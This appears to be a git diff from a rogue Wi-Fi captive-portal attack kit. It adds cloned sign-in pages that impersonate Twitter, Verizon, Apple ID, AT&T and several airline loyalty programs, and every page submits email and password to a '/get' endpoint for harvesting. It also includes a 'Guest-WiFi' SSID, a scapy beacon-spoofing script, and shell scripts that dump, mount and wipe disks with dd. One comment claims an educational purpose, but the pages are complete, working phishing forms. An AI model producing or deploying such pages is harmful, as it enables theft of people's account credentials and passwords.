src="//local.adguard.org?ts=1689200645736&amp;type=content-script&amp;dmn=cdn.discordapp.com&amp;url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&amp;app=chrome.exe&amp;css=3&amp;js=1&amp;rel=1&amp;rji=1&amp;sbe=1&amp;stealth=1&amp;st-dnt"></script>
<script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;name=AdGuard%20Assistant%20%28Beta%29&amp;name=AdGuard%20Extra%20%28Beta%29&amp;name=AdGuard%20Popup%20Blocker%20%28Beta%29&amp;name=Web%20of%20Trust%20%28Beta%29&amp;type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html>
+91
View File
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #fff;
}
.login-container {
width: 90%;
max-width: 400px;
margin: auto;
padding: 20px;
border: 1px solid #e9e9e9;
border-radius: 5px;
margin-top: 50px;
background-color: #fff;
}
#logo {
text-align: center;
margin-bottom: 20px;
}
.g-h1 {
font-weight: 300;
font-size: 24px;
margin-top: 5px;
text-align: center;
}
.g-h2 {
font-weight: 200;
font-size: 16px;
margin-top: 10px;
text-align: center;
color: #D52B1E;
}
.g-input {
width: calc(100% - 20px);
margin-top: 15px;
height: 40px;
padding: 5px 10px;
font-size: 16px;
color: #14171a;
border: 1px solid #e6ecf0;
border-radius: 5px;
background-color: #f5f8fa;
}
.gbtn-primary {
margin-top: 20px;
width: 100%;
height: 40px;
font-size: 16px;
color: #fff;
background-color: #D52B1E;
border: none;
border-radius: 5px;
cursor: pointer;
}
.gbtn-primary:hover {
background-color: #B3291B;
}
.gbtn-primary:disabled {
background-color: #aab8c2;
cursor: not-allowed;
}
</style>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
</head>
<body>
<div id="login-app">
<div class="login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146">
<path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/>
<path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/>
</svg>
</div>
<form action="/get" id="email-form-step">
<h1 class="g-h1">Sign in</h1>
<h2 class="g-h2">Use your Verizon Account</h2>
<div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required>
<div>
<button class="gbtn-primary" type="submit">Next</button>
</div>
</div>
</form>
</div>
</div>
</body>
</html>
+116
View File
@@ -0,0 +1,116 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #1a3b73;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
<path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
<path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your AAdvantage number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
+1
View File
@@ -0,0 +1 @@
Guest-WiFi
+279
View File
@@ -0,0 +1,279 @@
<!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official -->
<!-- Edited and adapted by : Jules0835 for educational purposes -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>Login - Apple</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
list-style: none;
text-decoration: none;
}
body {
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #98989c;
}
header {
padding: 5px;
margin: 10px;
}
header svg {
width: 25px;
height: 25px;
}
.main {
position: relative;
display: flex;
justify-content: center;
align-content: center;
align-items: center;
min-height: 85vh;
}
form {
width: 500px;
display: flex;
flex-direction: column;
align-items: center;
}
#sign h2 {
text-align: center;
margin: 5px auto 0px;
font-size: 22px;
line-height: 1.47059;
font-weight: 400;
letter-spacing: -.022em;
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #656569;
}
#inputText {
margin: 5px 0 80px 0;
}
#appleid {
min-width: 350px;
padding: 20px;
border: .5px solid #d2d2d7;
border-radius: 10px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
background-repeat: no-repeat;
background-position: calc(100% - 20px) center;
background-image: url('./input.svg');
align-self: center;
background-size: 8%;
}
#password {
min-width: 350px;
padding: 20px;
border: .5px solid #d2d2d7;
border-radius: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
background-repeat: no-repeat;
background-position: calc(100% - 20px) center;
background-image: url('./input.svg');
align-self: center;
background-size: 8%;
}
input #appleid {
box-shadow: none;
outline: none;
-moz-box-shadow: none;
-webkit-box-shadow: none;
border-color: transparent;
}
.input2 {
text-align: center;
min-width: 180px;
border-bottom: .1px solid #d2d2d7;
}
.logo {
display: flex;
justify-content: center;
margin-top: -60px;
margin-bottom: 20px;
}
.logo svg {
width: 8%;
height: auto;
}
#remember {
margin-right: 5px;
margin-bottom: 20px;
}
#r2 {
color: #656569;
}
form h4 {
margin-top: 1rem;
font-weight: 300;
}
::placeholder {
font-size: 16px;
/* font-family: Arial, sans-serif; */
}
.bx {
color: #1975d1;
transform: rotate(45deg);
}
footer {
position: absolute;
display: flex;
width: 100%;
height: 65px;
padding: 20px;
bottom: 0;
margin-bottom: 0;
background-color: #f5f5f7;
}
footer p {
font-size: 13px;
}
footer p:nth-child(2) {
margin: 0 20px;
}
footer p:nth-child(3) {
padding-left: 20px;
border-left: .5px solid #d2d2d7;
}
button {
background: none;
border: none;
padding: 0;
margin: 0;
font: inherit;
color: inherit;
cursor: pointer;
}
@media screen and (max-width: 768px) {
form {
width: 80%;
}
#appleid,
#password {
min-width: 90%;
}
}
</style>
</head>
<body>
<header>
<div class="appleLogo">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt"
viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682
-942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470
223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7
-126 -14z" />
<path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737
-209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70
-488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83
-327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863
-2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522
171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529
-168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200
1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432
-332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791
158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89
-679 131 -921 105z" />
</g>
</svg>
</div>
</header>
<div class="main">
<form action="/get" id="email-form-step" method="GET">
<div id="sign">
<h2>Sign in</h2>
<h2>Use your Apple ID to access the Wi-Fi</h2>
</div>
<div class="input" id="inputText">
<div>
<input type="email" name="email" placeholder="Apple ID" id="appleid" required>
</div>
<div>
<input type="password" name="password" placeholder="Password" id="password" required>
</div>
</div>
<div class="logo">
<button class="button" type="submit">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt"
viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000"
stroke="none">
<path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594
-662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31
-550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220
412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45
498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194
477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460
-489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475
34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212
-1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465
465 1108 699 1760 639z" />
<path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15
168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97
-90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341
-340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90
132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159
-15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" />
</g>
</svg>
</button>
</div>
<div class="input2">
<input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label>
</div>
<h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4>
<h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i
class='bx bx-up-arrow-alt'></i></span></h4>
</form>
</div>
<footer>
<p>Copyright &copy 2023 Apple Inc. All rights reserved.</p>
<p>Privacy Policy</p>
<p>Terms of Use</p>
</footer>
</body>
</html>
+94
View File
@@ -0,0 +1,94 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #00A8E0;
}
.container {
max-width: 400px;
margin: auto;
background-color: white;
padding: 20px;
border-radius: 5px;
}
#logo {
text-align: center;
margin-bottom: 20px;
}
h1 {
text-align: center;
font-size: 24px;
font-weight: 300;
margin-top: 0;
}
h2 {
text-align: center;
font-size: 16px;
font-weight: 200;
color: #888;
margin-top: 5px;
}
input {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
margin-top: 10px;
font-size: 16px;
}
button {
background-color: #00A8E0;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
cursor: pointer;
width: 100%;
font-size: 16px;
}
button:hover {
background-color: #0081b8;
}
</style>
</head>
<body>
<div class="container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411">
<path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/>
<path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your AT&T Account to gain Access to the WiFi Network</h2>
<form action="/get">
<input type="text" name="email" placeholder="Email or Phone Number" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
+115
View File
@@ -0,0 +1,115 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #003D79;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118">
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/>
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/>
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/>
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
+1
View File
@@ -0,0 +1 @@
<HTML>HTMLINDEXFILE</HTML>
+110
View File
@@ -0,0 +1,110 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background: #f9f9f9;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
.container {
background: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px #999;
max-width: 400px;
}
.logo {
text-align: center;
}
svg {
width: 80%;
}
h1 {
font-size: 1.5rem;
text-align: center;
margin: 20px 0;
}
.subtext {
text-align: center;
margin-bottom: 20px;
font-size: 0.9rem;
}
.form-group {
margin-bottom: 15px;
display: flex;
justify-content: center;
}
.form-control {
width: 100%;
padding: 10px;
border-radius: 5px;
border: 1px solid #ddd;
font-size: 1rem;
}
button {
width: 100%;
padding: 10px;
border: none;
border-radius: 5px;
background: #143f85;
color: #fff;
font-size: 1.1rem;
cursor: pointer;
}
@media (max-width: 500px) {
.container {
max-width: 90%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34">
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/>
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/>
</svg>
</div>
<h1>Sign In</h1>
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p>
<form action="/get" method="GET">
<div class="form-group">
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required>
</div>
<div class="form-group">
<input type="password" name="password" class="form-control" placeholder="Password" required>
</div>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
+117
View File
@@ -0,0 +1,117 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #003D79;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82">
<switch transform="translate(-5 -6)">
<g>
<path fill="none" d="M0 0h490v95H0z"/>
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/>
</g>
</switch>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your MileagePlus® number and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
+1 -1
View File
@@ -1,7 +1,7 @@
from scapy.all import *
iface = 'wlan1'
sender = 'ac:cb:12:ad:58:27'
# sender = 'ac:cb:12:ad:58:27'
def beacon_raw(SSID, length=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
number=2
tag=incremental-overrun-nullbyte
blocks=32
blocksize=1M
dumpsize=32M
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block=/dev/$disk
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
echo -e "\nWriting to ${filename}"
sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync
echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n"
View File
+6
View File
@@ -0,0 +1,6 @@
lsblk
echo -e "\nSelect A Disk (sda1, sdb1, etc)"
read disk
sudo mount /dev/$disk /mnt/MARAUDLABEL
echo -e "\n/mnt/MARAUDLABEL\n"
ls -lah /mnt/MARAUDLABEL
+1
View File
@@ -0,0 +1 @@
sudo umount /mnt/MARAUDLABEL
+45
View File
@@ -0,0 +1,45 @@
#!/bin/bash
mountpoint=/mnt/MARAUDLABEL/
gb_to_zero=1
# full_wipe=True
copy_files=True
